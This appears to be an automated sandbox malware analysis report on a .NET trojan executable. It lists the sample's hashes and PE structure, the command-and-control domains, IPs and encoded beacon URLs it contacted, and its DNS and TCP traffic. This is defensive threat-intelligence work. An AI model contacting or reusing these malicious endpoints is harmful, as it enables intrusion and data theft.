http://www.seahorseblast.net/kkt/?I48l2h=JgCZg0ECNQCGdZh+l8D79i0V4/Xiha033Hwln1gAEXgZOLyx1jBrHFXC3spPC1oi0umv&ibQh=6llLiJzHhP5P5Lj	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
www.hometowncashbuyersgroup.com/kkt/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
seahorseblast.net	195.133.60.76	true	true	0%, Virustotal, Browse	unknown
thedreamcertificate.com	34.102.136.180	true	false		unknown
www.thedreamcertificate.com	unknown	unknown	true		unknown
www.seahorseblast.net	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.thedreamcertificate.com/kkt/?ibQh=6llLiJzHhP5P5Lj&I48l2h=L0B8w9HUZaOZ7jw4+npXJ0F94zqPsX3Vt6n0qHR8lA3J0yAUFnvUFF5QUXy5W701wjCn	false	Avira URL Cloud: safe	unknown
http://www.seahorseblast.net/kkt/?I48l2h=JgCZg0ECNQCGdZh+l8D79i0V4/Xiha033Hwln1gAEXgZOLyx1jBrHFXC3spPC1oi0umv&ibQh=6llLiJzHhP5P5Lj	true	Avira URL Cloud: safe	unknown
www.hometowncashbuyersgroup.com/kkt/	true	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.xboxleaders.com/api/profile.json?gamertag=	6KdTCZit4e.exe	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.xboxleaders.com/api/friends.json?gamertag=	6KdTCZit4e.exe	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.coml	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	explorer.exe, 00000008.00000000.767736283.0000000002B50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://www.fonts.com	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com	explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
34.102.136.180	thedreamcertificate.com	United States		15169	GOOGLEUS	false
195.133.60.76	seahorseblast.net	Russian Federation		43962	INTENPL	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	452425
Start date:	22.07.2021
Start time:	10:32:07
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	6KdTCZit4e.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@2/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 23% (good quality ratio 20%) Quality average: 71.7% Quality standard deviation: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 51 Number of non-executed functions: 105
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.193.48, 20.82.210.154, 23.211.5.146, 23.211.6.115, 52.255.188.83, 52.147.198.201, 173.222.108.210, 173.222.108.226, 20.54.110.249, 40.112.88.60, 80.67.82.235, 80.67.82.211, 20.50.102.62 Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, storeedgefd.dsx.mp.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, a767.dscg3.akamai.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, skypedataprdcolcus15.cloudapp.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, e16646.dscg.akamaiedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:33:29	API Interceptor	2x Sleep call for process: 6KdTCZit4e.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6KdTCZit4e.exe.log Download File
Process:	C:\Users\user\Desktop\6KdTCZit4e.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
MD5:	1DC1A2DCC9EFAA84EABF4F6D6066565B
SHA1:	B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9
SHA-256:	28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF
SHA-512:	95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802B7
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.053978468118995
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	6KdTCZit4e.exe
File size:	1148416
MD5:	ed43ff447cd5486610731a627a930607
SHA1:	91449c85fb2fa5d27f8db3c8c08cdfb9d3287162
SHA256:	91cdb947644a5a802adac7583a79e7e560da38839489a02e7464730ff66fd004
SHA512:	3bd5692c8b81221a2b1e83b17b36872fc664935ed14d6d645dd0efa6e2725c0c95598e4871b358092fbb406e8eb4600face90aa1b98fe5720fd4629ff2903a1d
SSDEEP:	24576:pYxySdkFS+W/MMQM/3xu+ECDacAQahp6:ShdnrMpJUDO
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`..............P..j..........J.... ........@.. ....................................@................................

File Icon


Icon Hash:	ae53d212d9ccc4ca

Static PE Info

General
Entrypoint:	0x51894a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x60F799AA [Wed Jul 21 03:51:06 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1188f8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11a000	0x1774	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x11c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x116950	0x116a00	False	0.586243305574	data	7.05866733506	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x11a000	0x1774	0x1800	False	0.446940104167	data	5.62332883024	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x11c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x11a130	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 4293725196, next used block 4293659660
RT_GROUP_ICON	0x11b1d8	0x14	data
RT_VERSION	0x11b1ec	0x39c	data
RT_MANIFEST	0x11b588	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Necution 2013
Assembly Version	1.4.0.0
InternalName	TimeSpanStyl.exe
FileVersion	1.4.0.0
CompanyName	Necution
LegalTrademarks	Necution
Comments	An advanced chat-system for windows.
ProductName	Necu 1.0
ProductVersion	1.4.0.0
FileDescription	Necu
OriginalFilename	TimeSpanStyl.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/22/21-10:34:42.416087	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49762	34.102.136.180	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2021 10:34:42.214673996 CEST	49762	80	192.168.2.4	34.102.136.180
Jul 22, 2021 10:34:42.260234118 CEST	80	49762	34.102.136.180	192.168.2.4
Jul 22, 2021 10:34:42.266627073 CEST	49762	80	192.168.2.4	34.102.136.180
Jul 22, 2021 10:34:42.267050028 CEST	49762	80	192.168.2.4	34.102.136.180
Jul 22, 2021 10:34:42.320919037 CEST	80	49762	34.102.136.180	192.168.2.4
Jul 22, 2021 10:34:42.416086912 CEST	80	49762	34.102.136.180	192.168.2.4
Jul 22, 2021 10:34:42.416110992 CEST	80	49762	34.102.136.180	192.168.2.4
Jul 22, 2021 10:34:42.416554928 CEST	49762	80	192.168.2.4	34.102.136.180
Jul 22, 2021 10:34:42.416574955 CEST	49762	80	192.168.2.4	34.102.136.180
Jul 22, 2021 10:34:42.716197014 CEST	49762	80	192.168.2.4	34.102.136.180
Jul 22, 2021 10:34:42.758176088 CEST	80	49762	34.102.136.180	192.168.2.4
Jul 22, 2021 10:35:02.692219973 CEST	49763	80	192.168.2.4	195.133.60.76
Jul 22, 2021 10:35:02.780270100 CEST	80	49763	195.133.60.76	192.168.2.4
Jul 22, 2021 10:35:02.781054020 CEST	49763	80	192.168.2.4	195.133.60.76
Jul 22, 2021 10:35:02.781199932 CEST	49763	80	192.168.2.4	195.133.60.76
Jul 22, 2021 10:35:02.868103981 CEST	80	49763	195.133.60.76	192.168.2.4
Jul 22, 2021 10:35:02.868242979 CEST	80	49763	195.133.60.76	192.168.2.4
Jul 22, 2021 10:35:02.868287086 CEST	80	49763	195.133.60.76	192.168.2.4
Jul 22, 2021 10:35:02.868462086 CEST	49763	80	192.168.2.4	195.133.60.76
Jul 22, 2021 10:35:02.868597984 CEST	49763	80	192.168.2.4	195.133.60.76
Jul 22, 2021 10:35:02.955441952 CEST	80	49763	195.133.60.76	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2021 10:32:50.203171015 CEST	51703	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:50.255491018 CEST	53	51703	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:51.625560045 CEST	65248	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:51.680830002 CEST	53723	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:51.694895029 CEST	53	65248	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:51.732728958 CEST	53	53723	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:51.982875109 CEST	64646	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:52.079874992 CEST	53	64646	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:52.594449997 CEST	65298	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:52.651686907 CEST	53	65298	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:53.554028034 CEST	59123	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:53.604470968 CEST	53	59123	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:53.876652002 CEST	54531	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:53.961410046 CEST	53	54531	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:54.986707926 CEST	49714	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:55.044718027 CEST	53	49714	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:56.005220890 CEST	58028	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:56.059371948 CEST	53	58028	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:57.017580986 CEST	53097	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:57.068203926 CEST	53	53097	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:58.673908949 CEST	49257	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:58.723504066 CEST	53	49257	8.8.8.8	192.168.2.4
Jul 22, 2021 10:32:59.916542053 CEST	62389	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:32:59.966315031 CEST	53	62389	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:00.844149113 CEST	49910	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:00.896568060 CEST	53	49910	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:01.894459963 CEST	55854	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:01.948821068 CEST	53	55854	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:05.576458931 CEST	64549	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:05.630844116 CEST	53	64549	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:06.605690002 CEST	63153	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:06.672796965 CEST	53	63153	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:07.730304956 CEST	52991	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:07.782202959 CEST	53	52991	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:08.715502024 CEST	53700	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:08.764816999 CEST	53	53700	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:09.741802931 CEST	51726	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:09.793827057 CEST	53	51726	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:11.294498920 CEST	56794	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:11.344943047 CEST	53	56794	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:12.666052103 CEST	56534	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:12.725951910 CEST	53	56534	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:13.629904985 CEST	56627	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:13.681850910 CEST	53	56627	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:14.608994961 CEST	56621	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:14.669390917 CEST	53	56621	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:15.913603067 CEST	63116	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:15.962915897 CEST	53	63116	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:26.019609928 CEST	64078	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:26.077410936 CEST	53	64078	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:46.822499990 CEST	64801	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:46.884011030 CEST	53	64801	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:49.820333958 CEST	61721	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:49.909779072 CEST	53	61721	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:50.843030930 CEST	51255	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:50.905101061 CEST	53	51255	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:51.184765100 CEST	61522	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:51.257703066 CEST	53	61522	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:51.876488924 CEST	52337	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:51.971647978 CEST	53	52337	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:52.770215988 CEST	55046	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:52.827636957 CEST	53	55046	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:53.580497026 CEST	49612	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:53.641283989 CEST	53	49612	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:54.457483053 CEST	49285	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:54.517585993 CEST	53	49285	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:55.624140978 CEST	50601	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:55.681127071 CEST	53	50601	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:56.794339895 CEST	60875	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:56.854849100 CEST	53	60875	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:58.293987036 CEST	56448	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:58.354204893 CEST	53	56448	8.8.8.8	192.168.2.4
Jul 22, 2021 10:33:58.852503061 CEST	59172	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:33:58.909688950 CEST	53	59172	8.8.8.8	192.168.2.4
Jul 22, 2021 10:34:08.947514057 CEST	62420	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:34:09.009040117 CEST	53	62420	8.8.8.8	192.168.2.4
Jul 22, 2021 10:34:39.449495077 CEST	60579	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:34:39.507685900 CEST	53	60579	8.8.8.8	192.168.2.4
Jul 22, 2021 10:34:41.342482090 CEST	50183	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:34:41.408624887 CEST	53	50183	8.8.8.8	192.168.2.4
Jul 22, 2021 10:34:42.127634048 CEST	61531	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:34:42.192308903 CEST	53	61531	8.8.8.8	192.168.2.4
Jul 22, 2021 10:35:02.627824068 CEST	49228	53	192.168.2.4	8.8.8.8
Jul 22, 2021 10:35:02.690359116 CEST	53	49228	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 22, 2021 10:34:42.127634048 CEST	192.168.2.4	8.8.8.8	0xf124	Standard query (0)	www.thedreamcertificate.com	A (IP address)	IN (0x0001)
Jul 22, 2021 10:35:02.627824068 CEST	192.168.2.4	8.8.8.8	0x6600	Standard query (0)	www.seahorseblast.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 22, 2021 10:34:42.192308903 CEST	8.8.8.8	192.168.2.4	0xf124	No error (0)	www.thedreamcertificate.com	thedreamcertificate.com		CNAME (Canonical name)	IN (0x0001)
Jul 22, 2021 10:34:42.192308903 CEST	8.8.8.8	192.168.2.4	0xf124	No error (0)	thedreamcertificate.com		34.102.136.180	A (IP address)	IN (0x0001)
Jul 22, 2021 10:35:02.690359116 CEST	8.8.8.8	192.168.2.4	0x6600	No error (0)	www.seahorseblast.net	seahorseblast.net		CNAME (Canonical name)	IN (0x0001)
Jul 22, 2021 10:35:02.690359116 CEST	8.8.8.8	192.168.2.4	0x6600	No error (0)	seahorseblast.net		195.133.60.76	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.thedreamcertificate.com

www.seahorseblast.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
